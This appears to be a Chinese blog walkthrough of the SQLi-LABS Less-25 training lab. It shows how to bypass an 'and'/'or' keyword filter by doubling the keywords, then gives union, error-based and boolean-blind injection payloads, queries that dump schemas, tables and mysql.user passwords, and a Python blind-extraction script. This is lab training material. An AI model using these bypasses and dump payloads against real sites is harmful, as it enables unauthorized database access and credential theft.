第二十五关单引号字符型注入;

过滤了关键字(and、or),可以使用双写绕过;

这篇文章提供了联合注入、报错注入、布尔盲注三种解题方法。

SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS 靶场通关教程

一、功能分析

这一关是一个查询功能,在地址栏输入id作为参数,后端根据id查询用户信息,并在页面响应。

二、思路分析

后台匹配参数中的and和or,匹配到就会替换为空;

但后台只会匹配一遍,我们复写关键字,即可绕过过滤,使用时替换为 anandd、oorr。

参数中携带单引号,页面返回数据库的报错信息,适合使用报错注入。

输入不同的id,页面动态显示查询结果的数据,适合使用 联合注入。

查询成立和不成立时,对应正确和错误两种响应,适合使用报错注入。

三、解题步骤

方式一:联合注入

联合注入的详细使用方法可以参考我的另一篇文章:

联合注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1' anandd 1-- a,页面正常显示

地址栏输入:?id=1' anandd 0-- a,页面异常(空)显示

由此可以确定,页面存在单引号字符型注入。

第二步、判断字段数

提示:order 中的 or,也会被过滤,需要双写绕过。

地址栏依次输入:

?id=1' oorrder by 1 -- a

?id=1' oorrder by 2 -- a

?id=1' oorrder by 3 -- a

?id=1' oorrder by 4 -- a

第四个字段排序时,开始报错,确定字段数为:4.

第三步、判断显示位

地址栏输入:?id=0' union select 1,2,3 -- a

第四步、脱库

以获取当前使用的数据库为例,地址栏输入以下payload:

?id=0' union select 1,(database())
,3 -- a

其余脱库操作是,将下图中圈中的位置替换成SQL语句即可:

常见的脱库语句如下:

# 获取所有数据库
select group_concat(schema_name)
from information_schema.schemata# 获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"# 获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"# 获取数据库管理员用户密码
select group_concat(user,passwoorrd)
from mysql.user where user = "mituan"

方式二:报错注入

报错注入的详细使用方法可以参考我的另一篇文章:

报错注入使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1'

页面显示数据库的报错信息,分析报错信息,确定注入点为单引号字符型注入。

第二步、判断报错条件

地址栏输入:?id=1' anandd updatexml(1,0x7e,3) -- a

页面显示报错函数的内容,确定报错函数可用。

第三步、脱库

以获取当前使用的数据库为例,地址栏输入以下payload:

?id=1' aandnd updatexml(1,concat(0x7e,(database()))
,3) -- a

其余脱库操作时,将下图中圈中的位置替换为SQL语句即可:

方式三:布尔盲注

布尔盲注的详细使用方法可以参考我的另一篇文章:

布尔盲注使用详解,原理+步骤+实战教程

第一步、判断注入点

地址栏输入:?id=1' anandd 1 -- a,页面正常显示

地址栏输入:?id=1' anandd 0 -- a,页面异常(空)显示

第二步、判断长度

获取当前使用数据库名字的长度,地址栏输入:

?id=1' anandd length((database())
) >1 -- a

长度肯定大于1,页面正常显示,确定payload可用,从1开始,依次递增测试长度,稍后使用脚本测试。

第三步、枚举字符

获取当前使用数据库名字的字符,截取第一个字符,转换成ASCLL码,判断字符的ASCLL码是否大于1,地址栏输入:

?id=1' anandd ascii(substr((database()),1,1)
) >1 -- a

字符的ASCLL码肯定大于1,页面正常显示,确定payload可用。

依次判断ASCLL码是否等于32~126。稍后使用脚本测试。

脱库

Python自动化猜解脚本如下,可按需修改:

import requests# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload# 目标网址(不带参数)
url = "http://9423b2d25db1466eaaf53942d467dc44.app.mituan.zone/Less-25/"
# 猜解长度使用的payload
payload_len = """?id=1' anandd length((database())
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' anandd ascii(substr((database()),{l},1)
) ={n} -- a"""# 获取长度
def getLength(url, payload):length = 1  # 初始测试长度为1while True:response = requests.get(url= url+payload_len.format(n= length))# 页面中出现此内容则表示成功if 'Your Login name' in response.text:print('测试长度完成,长度为:', length,)return length;else:print('正在测试长度:',length)length += 1  # 测试长度递增# 获取字符
def getStr(url, payload, length):str = ''  # 初始表名/库名为空# 第一层循环,截取每一个字符for l in range(1, length+1):# 第二层循环,枚举截取字符的每一种可能性for n in range(33, 126):response = requests.get(url= url+payload_str.format(l= l, n= n))# print('我正在猜解', n)# 页面中出现此内容则表示成功if 'Your Login name' in response.text:str+= chr(n)print('第', l, '个字符猜解成功:', str)break;return str;# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

执行结果如下:

其余脱库操作时,将下图中圈中的位置,替换成SQL语句即可:

SQLi LABS Less 25 联合注入+报错注入+布尔盲注相关推荐

  1. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  2. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  3. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  4. SQL注入进阶:掌握布尔盲注和延时注入攻击技巧

    数据来源 一.什么是盲注? 盲注是指一种利用应用程序漏洞进行的攻击技术,攻击者通过在输入参数中注入恶意代码或数据来探测.提取和修改应用程序的敏感数据.它通常用于测试 Web 应用程序的安全性,并且可能 ...

  5. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  6. SQLi LABS Less-11 联合注入+报错注入

    第十一关是单引号字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入: a' or 1 -- a 密码随便输入: ...

  7. SQLi LABS Less-12 联合注入+报错注入

    第十二关是双引号+括号的字符型注入 , 推荐使用联合注入.报错注入. 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 用户名输入:a") or 1 ...

  8. SQLi LABS Less-4 联合注入+报错注入

    第四关是双引号+括号的字符型注入,推荐使用联合注入.报错注入 方式一:联合注入 参考文章:联合注入使用详解 原理+步骤+实战教程 第一步.判断注入类型 地址栏输入 ?id=1") and 1 ...

  9. SQLi LABS Less-3 联合注入+报错注入

    第三关是单引号+括号的字符型注入 ,推荐使用联合注入.报错注入. 方式一:联合注入 推荐文章:联合注入使用详解,原理+步骤+实战教程 第一步.判断注入点类型 地址栏输入 ?id=1') and 1 - ...

最新文章

  1. 基于SSH实现固定资产管理系统
  2. java实现逐帧图片_java – 如何逐帧读取视频?
  3. Duplicate Strings 字符串 取模 牛客练习赛95
  4. hdu-2544(简单djikstra)
  5. matlab的diray在哪,matlab笔记
  6. MySQL 索引分析除了 EXPLAIN 还有什么方法?
  7. 十年后,你在元宇宙中的一天是什么样?
  8. ZZULIOJ 1119: 一维数组排序
  9. 普通路由器改4g路由器_4G宽带随心用,办公娱乐更自由,蒲公英X4C路由器体验|路由器|蒲公英|宽带|wifi|sim...
  10. 注解形式控制器 数据验证,类型转换(3)
  11. c语言入门经典课后作业,C语言入门经典习题答案.doc
  12. python 生成随机数的几种方法
  13. Struts框架实战精讲 struts1(5)- 动态ActionForm
  14. 十分钟接入WO+能力共享平台
  15. 继电器模块典型电路图
  16. OpenGL ES EGL eglCreateContext
  17. 深圳市福田区支持文化创意产业发展若干措施
  18. 华为首部鸿蒙,华为首部鸿蒙手机P50来了!顶级拍照再升级,麒麟芯片或绝唱
  19. C++程序设计(实践)_老师有话说 S1| 如何学好计算机程序设计(c语言)
  20. 爬取DMP_ISV版(达摩盘服务商版)画像数据

热门文章

  1. 人物和背景分离的快速方法
  2. 20-spring学习-Spring MVC基本操作
  3. Java基础知识强化51:经典排序之桶排序(BucketSort)
  4. 实验十一 连接数据库实验(V2.0)
  5. ubuntu 7.04 Feisty Fawn 安装手记之 一:系统安装
  6. C++_C++中的关键字_标识符命名规则_数据类型之整形_short_int_long_longlong---C++语言工作笔记010
  7. 大数据之-Hadoop伪分布式_配置历史服务器---大数据之hadoop工作笔记0027
  8. protocol学习笔记001---RPC和HTTP协议之间的区别_与各自优势
  9. Linux学习笔记001---Windows下安装CentOS7_并且安装桌面UI
  10. 简直要吐槽!!enable-migrations fails on x64 Projects